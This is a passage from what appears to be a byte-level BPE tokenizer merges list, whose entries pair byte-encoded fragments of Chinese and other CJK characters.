° +çIJ ® +çIJ ¯ +çIJ ¬ +çIJ ļ +è¾ ĩ +é¼ ĭ +æı ³ +åł ŀ +æIJ ½ +æı ¸ +æı ł +åł Ļ +è¶ Ħ +æı ĸ +é¢ ī +å¡ Ħ +æı ¿ +èĢ ĭ +æı Ħ +èĽ © +èĽ ° +å¡ Ĩ +æij Ĵ +æı Ĩ +æİ ¾ +èģ Ĵ +èij ij +èij ļ +éĿ ° +éĿ ¸ +èij ³ +èij º +èij ¸ +èIJ ¼ +èij ¶ +è ĴĮ +èij Ń +æ¥ ® +æ £¼ +æ¤ Ł +æ£ ¹ +æ¤ ¤ +æ£ ° +èµ į +æ¤ ĭ +æ¤ ģ +æ¤ ª +æ¤ IJ +é¹ ģ +éħ ¤ +éħ ¢ +éħ ¡ +é¹ Ĥ +æ® ļ +æ® Ľ +éĽ ± +è¾ ĭ +æ¤ ł +è¾ İ +çĿ Ħ +çĿ ĩ +çĿ ĥ +æĪ ¢ +åĸ ĭ +åĹ Ĵ +åĸ ĥ +åĸ ± +åĸ ¹ +æĻ · +åĸ Ī +è· ĸ +è· Ĺ +è· ŀ +è· ļ +è· İ +è· ı +è· Ĩ +èĽ ± +èĽ ² +èĽ Ń +èĽ ³ +èĽ IJ +èĽ Ķ +èĽ ŀ +èĽ ´ +èĽ ĺ +åĸ ģ +åĸ Ł +åķ ¾ +åĹ ĸ +åĸ ij +åĹ Ł +åĹ ŀ +åĸ Ļ +åµ ĺ +åµ ĸ +å´ ´ +éģ Ħ +è© Ī +åµ İ +å µ¬ +åµ Ľ +åµ ¯ +åµ Ŀ +åµ « +å¹ Ħ +åµ ĭ +èµ ķ +éĵ » +éĵ ¼ +éĵ ¿ +éĶ ĥ +éĶ Ĩ +éĶ ĩ +éĶ ī +éĶ ı +éĶ ij +éĶ Ĵ +éĶ Ķ +éĶ ķ +æİ £ +çŁ ¬ +æ° ° +æ¯ ³ +æ¯ ½ +çĬ Ĭ +çĬ Ħ +çĬ ĭ +é ¹Ħ +çĬ į +åµ ĩ +é» į +ç¨ ĥ +ç¨ Ĥ +çŃ ļ +çŃ µ +çŃ Į +åĤ £ +åĤ Ī +èĪ Ħ +çī į +åĤ ¥ +åĤ § +éģ ij +åĤ © +å¾ ¨ +åª Ń +çķ ² +å¼ ij +ç¿ ķ +é¹ Ĩ +èħ Ī +èħ ĵ +èħ Ĩ +èħ ´ +èħ ļ +èħ ± +é± ¿ +é² Ģ +é² Ĥ +çĮ ¢ +çĮ ¹ +çĮ ¥ +é£ ĵ +è§ ŀ +è§ ļ +çĮ ± +é¢ İ +é£ § +é¦ ĩ +é¦ Ĭ +äº µ +èĦ Ķ +è£ Ĵ +çĹ £ +çĹ ¨ +çĹ ¦ +çĹ ŀ +çĹ ¤ +çĹ § +èµ ĵ +ç« ¦ +çĵ ¿ +åķ » +é¢ ı +é¹ ĩ +éĺ ij +éĺ Ĵ +éĺ ķ +ç² ŀ +éģ Ĵ +åŃ ³ +çĦ ¯ +çĦ ľ +çĦ ± +é¹ Ī +æ¸ « +æ¹ ® +æ¹ İ +æ¹ ľ +æ¹ į +æ¹ « +æº ² +æ¹ Ł +æº Ĩ +æ¹ ² +æ¹ Ķ +æ¹ ī +æ¸ ¥ +æ» ģ +æĦ ł +æĥ º +æĦ ¦ +æĥ ´ +æĦ Ģ +æĦ İ +æĦ Ķ +åĸ ¾ +å¯ IJ +è° Ł +è£ ¢ +è£ İ +è£ ¥ +ç¥ ¾ +è° ł +è° ¡ +è° ¥ +è° § +åŃ ± +å¼ ¼ +å· ½ +éª ĺ +åª ª +å· ¯ +ç¿ ļ +çļ ´ +éª Ľ +ç¼ Ĥ +ç¼ ĥ +ç¼ Ħ +å½ ĺ +ç¼ ĩ +ç¼ Ī +ç¼ Į +ç¼ ij +ç¼ Ĵ +ç¼ Ĺ +é£ ¨ +èĢ ¢ +çij ģ +çij Ĺ +çij Ħ +éģ ¨ +éª ľ +éŁ « +é« ¡ +å¡ ¬ +éĦ ¢ +è¶ Ķ +è¶ ij +æij ħ +æij ģ +èľ ĩ +æIJ ĭ +æIJ ª +æIJ IJ +æIJ Ľ +æIJ ł +æij Ī +å½ Ģ +æ¯ Ĥ +æIJ ¦ +æIJ ¡ +èĵ ģ +æĪ ¡ +è ĵį +éĦ ŀ +èĵ IJ +èĵ ¦ +é¹ ĭ +èĴ ½ +èĵ ĸ +èĵ Ĭ +èĴ ¯ +èĵ Ł +èĵ ij +èĴ º +èĵ ł +èĴ Ł +èĴ ¡ +èĴ ¹ +èĴ ´ +èĴ Ĺ +èĵ ¥ +æ¥ Ķ +æ¥ Ĥ +æ¥ Ŀ +æ¥ « +æ¥ ¸ +æ¤ ´ +æ§ Į +æ¥ ¯ +çļ Ļ +æ¦ Ī +æ§ İ +æ¦ ī +æ¥ ¦ +æ¥ £ +æ¥ ¹ +æ¤ ½ +åī ½ +éħ © +èľ ĥ +ç¢ Ľ +ç¢ ĵ +ç¡ ¼ +ç¢ ī +ç¢ ļ +ç¢ ĩ +ç¢ ľ +é¹ Į +è¾ ı +é¾ ĥ +é¾ ħ +è¨ ¾ +ç² ² +çĿ ļ +åĹ ª +éŁ ª +åĹ · +åĹ ī +çĿ ¨ +çĿ ¢ +éĽ İ +çĿ ¥ +åĹ ij +åĹ « +åĹ ¬ +åĹ Ķ +åĹ Ŀ +æĪ ¥ +åĹ Ħ +çħ ¦ +æļ Ħ +éģ ¢ +æ ļĮ +è· ¬ +è· ¶ +è ·¸ +è· IJ +è· £ +è· ¹ +èĽ ¸ +èľ Ĭ +èľ į +èľ ī +èľ £ +çķ ¹ +èĽ ¹ +åĹ ¥ +åĹ ² +åĹ ³ +åĹ Į +åĹ į +åĹ IJ +åĹ ¤ +åĹ µ +ç½ ¨ +åµ Ĭ +åµ ´ +éª ° +éĶ Ĺ +éĶ Ľ +éĶ ľ +éĶ Ŀ +éĶ ŀ +éĶ Ł +éĶ ¢ +éĶ ¨ +éĶ © +éĶ Ń +éĶ ± +éĽ ī +æ° ² +çĬ ı +æŃ ĥ +ç¨ ŀ +ç¨ Ĺ +ç¨ Ķ +çŃ ł +çŃ ¢ +çŃ ® +çŃ ² +çī Ĵ +æķ « +å¾ Ń +æĦ Ĩ +èī Ħ +è§ İ +æ¯ ¹ +è² Ĭ +è² ħ +è² ī +é¢ Ķ +èħ ł +èħ © +èħ ¼ +èħ Ń +è ħ§ +å¡ į +åª µ +é² ħ +é² Ĩ +é² ĩ +é² Ī +é² ĭ +é² IJ +èĤ Ħ +é¹ IJ +é£ ķ +è§ ¥ +éģ Ľ +é¦ IJ +é¹ ij +äº ¶ +çĺ ĥ +çĹ ± +çĹ ¼ +çĹ ¿ +çĺ IJ +çĺ ģ +çĺ Ĩ +éº Ĥ +æŃ Ĩ +æĹ Ĵ +éĺ ĸ +éĺ Ĺ +ç¾ § +è± ¢ +ç² ³ +çĮ · +çħ ³ +çħ ¨ +çħ ħ +çħ Ĭ +çħ ¸ +çħ º +æ» Ł +æº ± +æº ĺ +æ¼ Ń +æ» ¢ +æº ¥ +æº ½ +è£ Ł +æº » +æº · +æ» Ĺ +æ» « +æº ´ +æ» ı +æ» ĥ +æ» ¦ +æº ı +æ» Ĥ +æ» ĵ +æº Ł +æ» ª +æĦ « +æħ Ĭ +é² İ +éª ŀ +çª ł +çª £ +è£ ± +è£ ¨ +è£ ¾ +è£ ° +ç¦ Ĭ +è° © +è° ª +åª ¾ +å« « +åª ² +å« Ĵ +å« Ķ +åª ¸ +ç¼ Ļ +ç¼ ľ +ç¼ Ľ +è¾ Ķ +éª Ŀ +ç¼ Ł +ç¼ ¡ +ç¼ ¢ +ç¼ £ +éª Ł +èĢ ¥ +çĴ Ī +çij Ń +çį Ĵ +è§ ı +æħ Ŀ +å« ł +åı Ĩ +æij ½ +å¢ ģ +æĴ Ĥ +æij ŀ +æĴ Ħ +ç¿ ¥ +è¸ ħ +æij Ń +å¢ ī +å¢ Ĵ +æ¦ ĸ +ç¶ ¦ +èĶ « +èĶ · +éĿ º +éĿ ¼ +éŀ ħ +éĿ ¿ +çĶ į +èĶ ¸ +èĶ Ł +èĶ º +æĪ ¬ +èķ ĸ +èĶ » +èĵ ¿ +æĸ ¡ +é¹ ķ +èĵ ¼ +æ¦ Ľ +æ¦ § +æ¦ « +æ¦ Ń +æ§ Ķ +æ¦ ± +æ§ ģ +æ§ ł +æ¦ · +åĥ ° +éħ ½ +éħ ¹ +ç¢ ¡ +ç¢ ´ +ç¢ £ +ç¢ ² +èĩ § +è± ¨ +æ® ¡ +éľ ģ +èľ ļ +é¾ ĩ +é¾ Ī +ä ģ +äģ ĸ +çĿ ½ +åĺ ŀ +åĺ Ī +åĺ Į +åĺ ģ +æļ Ŀ +è¸ Į +è¸ ī +èľ ŀ +èľ ¥ +èľ ® +èĿ Ī +èľ ´ +èľ ± +èľ © +èľ · +èľ ¿ +èŀ Ĥ +èľ ¢ +åĺ ¡ +é¹ Ĺ +åĺ £ +åĺ ¤ +åĺ ļ +åĹ ¾ +åĺ § +ç½ ´ +ç½ ± +å¹ Ķ +å¶ Ĥ +å¹ Ľ +èµ Ļ +ç½ Ĥ +éª · +éª ¶ +é¹ ĺ +éĶ ² +éĶ ´ +éĶ ¶ +éĶ · +éĶ ¸ +éĶ µ +éķ Ĥ +çĬ Ĵ +ç® IJ +ç® ¦ +ç® § +ç® ¸ +ç® ¬ +ç® ħ +ç® ª +ç® ľ +ç® ¢ +ç® ĵ +åĥ ĸ +åĦ Ĩ +åĥ ³ +åĥ Ń +åĬ ģ +åĥ ® +éŃ ĥ +éŃ Ĩ +çĿ ¾ +èī ĭ +éĦ ± +èĨ Ī +èĨ ij +é² ij +é² Ķ +é² ļ +é² Ľ +é² Ł +çį IJ +è§ « +éĽ Ĵ +å¤ ¤ +é¦ ij +éĬ ® +å¡ ¾ +çĺ Į +çĺ Ĭ +çĺ ĺ +çĺ Ļ +æĹ ĸ +èĨ Ĥ +éĺ ļ +éĦ ¯ +é² ŀ +ç² ¿ +ç² ¼ +ç³ ģ +æ§ Ĭ +é¹ ļ +çĨ ĺ +çĨ ¥ +æ½ ¢ +æ¼ ķ +æ» ¹ +æ¼ ¯ +æ¼ ¶ +æ½ ĭ +æ½ ´ +æ¼ ª +æ¼ ī +æ¼ © +æ¾ ī +æħ µ +æIJ ´ +çª ¨ +å¯ ¤ +ç¶ ® +è° ® +è¤ ¡ +è¤ Ļ +è¤ ĵ +è¤ Ľ +è¤ Ĭ +è° ¯ +è° ° +è° ² +å± £ +é¹ Ľ +å« ± +å« ĸ +å« ¦ +å« ļ +å «ĺ +é¼ IJ +çŀ Ģ +é¹ ľ +éª ł +ç¼ ¥ +ç¼ ¦ +ç¼ § +ç¼ ¨ +éª ¢ +ç¼ « +èĢ ¦ +èĢ § +çĴ ľ +çĴ İ +çĴ ģ +å¥ Ń +é« ¯ +é« « +æĴ · +æĴ ħ +èµ Ń +æĴ ¸ +éĭ Ĩ +æĴ Ļ +æĴ º +å¢ Ģ +èģ © +è§ IJ +éŀ ij +èķ Ļ +éŀ Ĵ +èķ Ī +èķ ¨ +èķ ¤ +èķ ŀ +èķ º +çŀ ¢ +èķ ĥ +èķ ² +èµ ľ +æ§ ¿ +æ¨ ¯ +æ§ Ń +æ¨ Ĺ +æ¨ ĺ +æ§ ² +éĨ Į +éĨ ħ +éĿ ¥ +éŃ ĩ +é¤ į +ç£ Ķ +ç£ Ļ +éľ Ī +è¾ ĺ +é¾ ī +é¾ Ĭ +è§ ij +çŀ Į +ç ŀĭ +çŀ ij +åĺ Ń +åĻ İ +åĻ ¶ +é¢ Ļ +æļ ¹ +åĻ ĺ +è¸ Ķ +è¸ Ŀ +è¸ Ł +è¸ Ĵ +è¸ ¬ +è¸ ® +è¸ ¯ +è¸ º +è¸ ŀ +èĿ ½ +èĿ ¾ +èĿ » +èĿ ° +èĿ ® +è ŀĭ +èĿ ĵ +èĿ £ +è Ŀ¼ +åĺ ¬ +é¢ ļ +åĻ į +åĻ Ļ +åĻ Į +åĻ Ķ +é¢ Ľ +å¹ ŀ +å¹ ¡ +å¶ Ļ +å¶ Ŀ +éª º +éķ Ĭ +éķ ī +éķ Į +éķ ı +éķ Ĵ +éķ ĵ +éķ Ķ +ç¨ · +ç® ´ +ç¯ ij +ç¯ ģ +ç¯ Į +çī ĸ +åĦ ĭ +èĻ ¢ +é¹ ŀ +èĨ ĺ +é² ł +é² ¡ +é² ¢ +é² £ +é² ¥ +é² § +é² © +çį Ĺ +çį ł +è§ ¯ +é¦ ĵ +é¦ Ķ +éº ¾ +å» Ľ +çĺ Ľ +çĺ ¼ +çĺ ¢ +çĺ ł +é½ ij +ç¾ ° +𥠻 +ð¥» Ĺ +ç³ Į +ç³ į +ç³ ħ +çĨ ľ +ç Ĩµ +æ¾ į +æ¾ Į +æ½ ¸ +æ½ ¦ +æ½ ² +éĭ Ī +æ½ Ł +æ½ º +å¯ ® +çª ³ +è° ³ +è¤ ´ +è¤ Ł +è¤ « +è° µ +çĨ ¨ +å± ¦ +åĭ ° +æĪ ® +èĿ ¥ +ç¼ ¬ +ç¼ ® +ç¼ ¯ +éª £ +çķ ¿ +èĢ © +èĢ ¨ +èĢ ª +çĴ Ł +éĿ Ľ +çĴ ł +çĴ ĺ +èģ ± +èŀ ¯ +é« » +é« Ń +é« ¹ +æĵ Ģ +çĶ ı +æĵ ŀ +ç¸ ł +ç£ ¬ +é¢ ŀ +èķ » +é¢ Ł +èĸ ¤ +èĸ ¨ +æª ł +èĸ ı +èĸ ® +èĸ ľ +èĸ ħ +æ¨ ¾ +æ© Ľ +æ© ĩ +æ¨ µ +æª İ +æ© ¹ +æ¨ ½ +æ¨ ¨ +æ© ¼ +å¢ ¼ +æ© IJ +ç¿ ® +éĨ IJ +éĨ į +éĨ ļ +ç£ ² +èµ Ŀ +æ® ª +éľ ı +éĮ ¾ +è¾ ļ +éģ ½ +æ° ħ +çŀ Ł +çŀ ł +çŀ ° +åļ Ħ +åļ Ĩ +åĻ ¤ +æļ ¾ +è¹ Ģ +è¸ µ +è¸ ½ +è¹ ī +è¹ ģ +èŀ ¨ +èŀ Ī +èŀ ħ +èŀ Ń +èŀ ł +èŀ Ł +åĻ ± +åĻ « +åĻ » +åĻ ¼ +ç½ ¹ +åľ ľ +ä ¦ +ä¦ ĥ +éķ Ĺ +éķ ĺ +éķ ļ +éķ Ľ +éķ Ŀ +éķ ŀ +éķ ł +æ° ĩ +æ° Ĩ +ç© ij +ç¯ Ŀ +ç¯ ¥ +ç¯ ¦ +ç¯ ª +ç¯ Ļ +çĽ ¥ +åĬ ĵ +ç¿ ± +éŃ ī +éŃ Ī +å¾ ¼ +æŃ Ļ +èĨ ¦ +èĨ Ļ +é² ® +é² ± +é² ³ +é² ´ +é² µ +é² · +é² » +çį ´ +çį Ń +çį ¬ +éĤ Ĥ +é¹ § +å» ¨ +èµ Ł +çĺ ° +å» ª +çĺ ¿ +çĺ µ +çĺ ´ +çĻ ĥ +çĺ ³ +éº ĩ +éº Ī +å ¬´ +å£ ħ +ç³ Ĺ +çĶ ij +çĩ İ +çĩ ł +çĩ Ķ +çĩ § +æ¿ ij +æ¿ ī +æ½ ŀ +æ¾ § +æ¾ ¹ +æ¾ ¥ +æ¾ ¶ +æ¿ Ĥ +è¤ ° +çª ¸ +å¬ ĸ +çĬ Ł +éļ ° +å¬ Ĺ +é¢ ¡ +ç¼ ± +ç¼ ² +ç¼ ³ +çĴ © +çĴ ª +èŀ « +æĵ ¤ +å£ ķ +è§ ³ +ç½ Ħ +æĵ ¢ +èĸ ¹ +éŀ ¡ +éŀ ¬ +èĸ · +èĹ ĵ +èĹ ģ +æª Ħ +æª © +æĩ ĭ +éĨ ¢ +ç¿ ³ +ç¤ ħ +ç£ ´ +é¹ © +é¾ ĭ +é¾ Į +è± ³ +å£ ij +é» » +åļ ı +åļ ħ +è¹ ij +è¹ Ĵ +è¹ Ĭ +è Ł¥ +èŀ ¬ +èŀ µ +çĸ ĥ +èŀ ³ +èŁ ij +åļ ĵ +ç½ ½ +ç½ ¾ +å¶ · +é» ľ +é» Ŀ +é« ģ +é« Ģ +éķ ¡ +éķ ¢ +éķ £ +éķ ¦ +éķ § +éķ © +éķ ª +éķ « +ç½ ħ +ç° Į +ç¯ ¾ +ç¯ ¼ +ç° ĸ +ç° ĭ +é¼ ¢ +åĦ ¡ +é¹ ª +é¼ ¾ +çļ ¤ +éŃ į +é¾ ł +ç¹ ĩ +è² ĺ +éĤ Ī +è² Ķ +èĩ Į +èĨ » +èĩ Ĩ +èĩ ĥ +é² ¼ +é² ½ +é³ Ģ +é³ ĥ +é³ ħ +é³ ĩ +é³ Ĭ +èŀ ½ +çĩ ® +é¹ « +ç³ ľ +ç¸ » +çĻ į +éº ĭ +æĩ ij +æ¿ ¡ +æ¿ ® +æ¿ ŀ +æ¿ ł +æ¿ ¯ +è¹ ĩ +è¬ ĩ +éĤ ĥ +è¥ ģ +æª Ĺ +æ ĵĺ +åŃ º +éļ ³ +å¬ · +èŁ Ĭ +é¹ ¬ +éį ª +éı Ĭ +é¬ Ī +é¬ ĥ +çŀ ½ +éŀ ¯ +éŀ ¨ +éŀ « +éŀ § +éŀ £ +èĹ ľ +èĹ ł +éĨ ª +è¹ Ļ +ç¤ ĵ +çĩ ¹ +é¤ ® +çŀ ¿ +æĽ Ľ +é¢ ¢ +èº ĩ +è¹ ļ +èŁ Ľ +èŁ ª +èŁ ł +èŁ ® +é¹ ® +é» ł +é» Ł +é« ħ +é« Ĥ +éķ ¬ +éķ Ń +éķ ¯ +é¦ ¥ +ç° Ł +ç° ª +é¼ ¬ +éĽ ł +èī Ł +é³ İ +é³ ı +é³ IJ +çĻ ŀ +çĻ Ķ +ç³ ¨ +è¹ © +éİ ı +éĤ ĭ +é¬ ı +æĶ ī +éŀ ² +éŀ ´ +èĹ ¿ +èĺ § +èĺ ħ +éĨ ® +éĨ ¯ +éħ ĥ +éľ ª +éľ Ń +éľ ¨ +é» ¼ +åļ ¯ +è¹ ° +è¹ ¶ +è¹ ½ +è¹ ¼ +è¹ ´ +è¹ ¾ +è¹ ¿ +èł ĸ +èł ĵ +èŁ ¾ +èł Ĭ +é» ¢ +é« ĭ +é« Į +éķ ² +ç± Ģ +é½ ģ +éŃ ij +èī ¨ +é³ ĵ +é³ Ķ +é³ ķ +é³ Ĺ +é³ Ļ +éı ĸ +ç¾ ¸ +㸠Ĩ +çĢ £ +çĢ Ľ +è¥ ¦ +è° ¶ +è¥ ŀ +éª ¥ +ç¼ µ +çĵ Ĵ +æĶ ĺ +èĺ © +èĺ ĸ +éĨ ´ +éľ ° +éħ Ĩ +çŁ į +èº ħ +é¼ į +å· ī +é» © +é» ¥ +é» ª +éķ ³ +éķ ´ +é» § +çº Ĥ +çĴ º +é¼ ¯ +èĩ ľ +é³ ľ +é³ Ŀ +é³ Ł +çį ¾ +åŃ Ģ +éª § +ç ĵĺ +é¼ Ļ +éĨ º +ç¤ ´ +é¢ ¦ +æĽ © +é³ ¢ +éº Ŀ +å¤ Ķ +çĪ Ŀ +çģ ı +ç¦ ³ +éIJ ¾ +ç¾ ¼ +èł ¡ +èĢ ± +é¹ ³ +æ° į +é¥ ķ +èº IJ +é« ij +éķ µ +ç© ° +é¥ Ķ +é¬ » +é¬ Ł +è¶ ± +æĶ « +æĶ ¥ +é¢ § +èº ľ +é¼ ¹ +çĻ ¯ +èł ² +èł ¹ +èº ŀ +è¡ ¢ +çģ ŀ +è¥ » +çº Ľ +é¬ £ +æĶ ® +åĽ Ķ +é¦ ķ +æĪ Ĩ +çĪ ¨ +é½ ī +äº į +å° ¢ +å½ ³ +åį ¬ +æ® ³ +ðł ϶ +æ¯ Į +éĤ ĺ +æĪ ĭ +åľ ¢ +æ° ķ +ä¼ ĭ +ä» Ŀ +åĨ ® +æ° ¿ +æ± Ī +æ° ¾ +å¿ ī +å® Ħ +ð¬£ Ļ +è® ± +æī ŀ +åľ ² +åľ « +èĬ ı +èĬ ĥ +æľ ³ +æľ ¸ +ð¨ Ļ +ð¨Ļ ¸ +éĤ ¨ +åIJ Ĵ +åIJ ĸ +å± ¼ +å± ¾ +è¾ ¿ +éĴ Ĩ +ä» ³ +ä¼ £ +ä¼ Ī +çĻ ¿ +çĶ ª +éĤ ł +çĬ ´ +åĨ ± +éĤ ¡ +ð¬ĩ ķ +æ± ĭ +ä ľ +äľ £ +è® » +𬣠ŀ +åŃ ĸ +ð¬ĺ ĵ +çº © +çİ Ĵ +çİ ĵ +çİ ĺ +çİ ļ +åĪ ¬ +ð«Ń Ł +åĿ ľ +åĿ ī +æī ½ +ð«Ń ¢ +åĿ ĭ +æī º +ã§ ij +æ¯ IJ +èĬ ° +èĬ £ +èĭ Ĭ +èĭ ī +èĬ ĺ +èĬ ´ +èĬ ł +ð« ĩ +ð«ĩ Ń +èĬ ¤ +æĿ ķ +æĿ Ļ +æĿ Ħ +æĿ § +æĿ © +å° ª +å° ¨ +è½ ª +ð«IJ Ħ +åĿ Ĵ +èĬ Ī +æĹ ´ +æĹ µ +åij Ļ +ã ķ +ãķ ® +å² į +ð« µ +𫵠· +å² ł +å² ľ +åij ĩ +åĨ ı +è§ ĥ +å² Ļ +ä¼ ¾ +ãij ĩ +ä¼ Ń +ä½ ĸ +ä¼ ² +ä½ ģ +é£ ı +çĭ ĥ +éĹ ¶ +æ± § +æ± « +𣲠ĺ +ð£² Ĺ +æ² Ħ +æ² ĺ +ð¬ĩ Ļ +æ± Ń +ã³ ĩ +æ² ĩ +å¿ ® +å¿ ³ +å¿ º +𬣠¡ +ç¥ ĥ +è¯ ĩ +éĤ ² +è¯ İ +è¯ IJ +å± ĥ +ð« ¸ +𫸠© +å² Ĭ +éĺ ½ +ä¢ º +éĺ ¼ +å¦ § +å¦ ĺ +ð¨ ļ +ð¨ļ ķ +çº ® +é© ² +ð«ĺ ľ +çº » +ð¬ĺ ĺ +ð«ĺ Ŀ +çº ¼ +çİ ¤ +çİ ŀ +çİ ± +çİ Ł +éĤ ½ +éĤ ¿ +åĿ ¥ +åĿ ° +åĿ ¬ +åĿ ½ +å¼ Ĩ +èĢ µ +ä¢ ¼ +ð¦ Ń +ð¦Ń ľ +èĮ ĭ +èĭ § +èĭ ¾ +èĭ ł +æŀ ħ +ãŃ İ +æŀ ĺ +æŀ į +çŁ ¼ +çŁ » +åĮ ¼ +𬨠Ĥ +ð¬Ģ © +ð¬Ģ ª +æĹ ¿ +æĺ Ħ +æĺ Ĵ +æĺ Ī +åĴ ī +åĴ ĩ +åĴ į +å² µ +å² ½ +å² ¨ +å² ŀ +å³ Ĥ +ã Ł +ãŁ ĥ +åĽ · +𬬠© +éĴ IJ +éĴ Ķ +éĴ ĸ +çī ¥ +ä½ ´ +åŀ Ī +ä¾ ģ +ä¾ ¹ +ä½ ¸ +ä½ º +éļ ¹ +ãij Ĭ +ä¾ Ĥ +ä½ ½ +ä¾ ĺ +éĥ Ī +èĪ ł +éĥ IJ +éĥ ĥ +æĶ ½ +èĤ Ń +èĤ ¸ +èĤ · +çĭ ī +çĭ Ŀ +é¥ ³ +å¿ ŀ +çĤ Į +çĤ Ĩ +æ³ Ļ +æ² º +æ³ Ĥ +æ³ ľ +æ³ ĥ +æ³ ĩ +æĢ Ĭ +å³ ĥ +ç© ¸ +ç¥ ĭ +ç¥ Ĭ +ð«į £ +𬣠³ +𬠩½ +é¸ ¤ +å¼ ¢ +å¼ ¨ +éĻ ij +𬮠¿ +éĻ İ +ð¬¯ Ģ +åį º +ä¹ ¸ +å¦ Ń +å§ Ī +ð« ° +ð«° Ľ +è¿ ³ +åı ķ +𬳠µ +é© µ +𬳠¶ +ä Į +äĮ ¹ +é© º +ð«ł Ĭ +ç» ĭ +ç» IJ +çł ī +èĢ Ķ +ãĽ ĥ +çİ ¶ +çı ĩ +çı ħ +ð¬į Ľ +çı ĭ +çİ ¹ +çı Į +çİ ¿ +éŁ ¨ +åŀ ļ +åŀ ¯ +åŀ Ļ +åŀ ² +åŁ ı +åŀ į +èĢ ĩ +é¿ į +åŀ İ +åŀ ´ +åŀ Ł +åŀ ŀ +æĮ ĵ +åŀ µ +åŀ ı +æĭ ¶ +èį ĸ +èį ģ +èį Ļ +èį Ľ +èĮ Ī +èĮ ½ +èį Ħ +èĮ º +ð¬ľ ¬ +èį ĵ +èĮ ³ +𦠰 +𦰠¡ +èĮ Ľ +èį Ń +ãŃ ķ +æŁ · +æŁ ĥ +æŁ Ĭ +æŀ ¹ +æł IJ +æŁ ĸ +éĥ ļ +åī ħ +ä´ ĵ +è¿ º +åİ ĸ +çł Ĩ +çł ij +çł Ħ +èĢ ı +å¥ ĵ +ä ¶ +ä¶ ® +è½ µ +è½ · +è½ ¹ +è½ º +æĺ º +𪠾 +𪾠¢ +æĺ ½ +çĽ · +åĴ ¡ +åĴ º +æĺ ³ +æĺ £ +æĺ ¤ +æĺ « +æĺ ¡ +åĴ ¥ +æĺ ª +èĻ · +èĻ ¸ +åĵ ĥ +å³ ĺ +èĢ ij +å³ Ľ +𪨠° +å³ Ĺ +å³ § +å¸ ¡ +éĴ ĺ +ð«ĵ § +éĴ ľ +𬬠® +𬬠± +ð¬¬ Ń +éĴ ª +éĴ ¬ +éĴ Ń +çŁ § +ç§ ¬ +ä¿ « +èĪ ģ +ä¿ ľ +ä¿ Ļ +ä¿ į +åŀ ķ +è¡ İ +èĪ £ +å¼ ĩ +ä¾ ´ +é¸ § +äı ¡ +èĥ ł +ð¦ ϶ +èĥ Ī +èĥ © +èĥ £ +æľ ı +é£ IJ +è¨ Ħ +é¥ » +åº ¤ +çĸ ¢ +çĤ £ +çĤ Ł +ã ¶ +ã¶ ² +æ´ Ń +æ´ ĺ +æ´ ĵ +æ´ ¿ +ã³ ļ +æ³ ļ +æµ Ī +æµ ī +æ´ ¸ +æ´ ij +æ´ ¢ +æ´ Ī +æ´ ļ +æ´ º +æ´ ¨ +æµ IJ +ã³ ĺ +æ´ ´ +æ´ £ +æģ Ķ +å® ¬ +çª Ģ +æī Ĥ +è¢ Ĩ +ç¥ ı +ç¥ IJ +ç¥ ķ +åı ļ +éĻ § +éĻ ŀ +å¨ Ģ +å§ ŀ +å§ ± +å§ ¤ +å§ ¶ +å§ ½ +æŀ ² +ç» ĸ +éª ĥ +ð¬ĺ ¡ +𬳠½ +ð¬ĺ © +ð«Ħ § +å½ ĸ +éª ī +æģ Ŀ +çı ª +çı Ľ +çı ¹ +çIJ Ĭ +çİ ¼ +çı ĸ +ðª Ł +ðªŁ Ŀ +çı ½ +çı ¦ +çı « +çı Ĵ +ð¬į ¤ +çı ¢ +çı ķ +çı Ŀ +ð«Ń ¼ +åŁ Ĺ +åŀ ¾ +åŀ º +åŁ Ĩ +åŀ ¿ +åŁ Į +åŁ ĩ +èİ ° +èĮ Ŀ +ð¬ľ ¯ +éĦ Ģ +èİ ¶ +èİ Ŀ +äĵ ĸ +èİ Ļ +æł » +æ¡ ł +ð¬ Ĥ +ð¬Ĥ © +æ¡ Ħ +æ¢ ł +æł ´ +æ¢ ´ +æł Ĵ +éħ İ +éħ ı +ð«ł Ĩ +çł µ +çł ł +çł « +çł ¬ +ç¡ ģ +æģ § +ç¿ ĥ +éĥ ª +ð¨ IJ +ð¨IJ Ī +è¾ Ģ +è¾ ģ +ð¬ Į +ð¬Į Ĺ +åī ķ +èµ Ģ +åĵ ¢ +æĻ ħ +æĻ Ĭ +åĶ Ŀ +åĵ ³ +åĵ ± +åĨ Ķ +æĻ Ķ +æĻ IJ +çķ ĸ +èļ Ħ +èļ Ĩ +ð« ij +ð«ij ¡ +å¸ ± +å´ ģ +å³ ¿ +𪨠¶ +å´ Ħ +å¸ ¨ +å ´Ģ +èµ Ĩ +𬠬¸ +éĴ · +𬬠» +𬬠¹ +𬬠¿ +ð¬Ń ģ +çľ ļ +çĶ ¡ +ç¬ « +åĢ » +åĢ ´ +èĦ © +åĢ ® +åĢ ķ +åĢ ŀ +ð« ¢ +ð«¢ ¸ +åĢ ĵ +åĢ § +è¡ ĥ +èĻ Ĵ +èĪ Ń +èĪ ¯ +èĪ ¥ +çĵ ŀ +é¬ ¯ +é¸ ° +èĦ İ +æľ ĵ +èĥ ² +èĻ ĵ +é± ½ +çĭ ´ +å³ ± +çĭ » +çľ ¢ +ð«Ĺ § +åĭ į +çĹ Ħ +çĸ ° +çĹ ĥ +ç« ĺ +ç¾ ĸ +ç¾ ĵ +æ¡ Ĭ +æķ ī +çĥ ł +çĥ Ķ +çĥ ¶ +çĥ » +ð¬Ĭ Ī +æ¶ į +æµ ¡ +æµ Ń +æµ ¬ +æ¶ Ħ +æ¶ ¢ +æ¶ IJ +æµ ° +æµ Ł +æµ Ľ +æµ ¼ +æµ ² +æ¶ ĺ +æĤ Ī +æĤ ĥ +æĤ ¢ +ð¬Ĵ Ī +å® § +çª ħ +çª Ĭ +çª İ +æī ħ +æī Ĩ +è¢ ª +è¢ Ĺ +è¢ ¯ +ç¥ § +éļ º +åł ² +çĸ į +𨠺 +ð¨º Ļ +éĻ ´ +ç ĥĿ +çł ® +ãĽ ļ +åĵ ¿ +ç¿ Ģ +ç¿ Ĥ +åī Ł +𬳠¿ +ð«Ħ ¨ +ç» ¤ +éª į +ð¬ĺ « +ä Ĥ +äĤ ® +çIJ İ +çı ¸ +çı µ +çIJ Ħ +çIJ Ī +çIJ Ģ +çı º +æİ Ń +åł İ +åł IJ +åŁ ¼ +æİ İ +åŁ « +åł Į +æĻ ¢ +ð« ® +ð«® ĥ +æİ ŀ +åŁ ª +å£ ¸ +ãĻ į +èģ į +èı Ŀ +èIJ ļ +èı ¥ +èİ ¿ +äĵ « +åĭ ļ +äĵ ¬ +èIJ Ĩ +èı 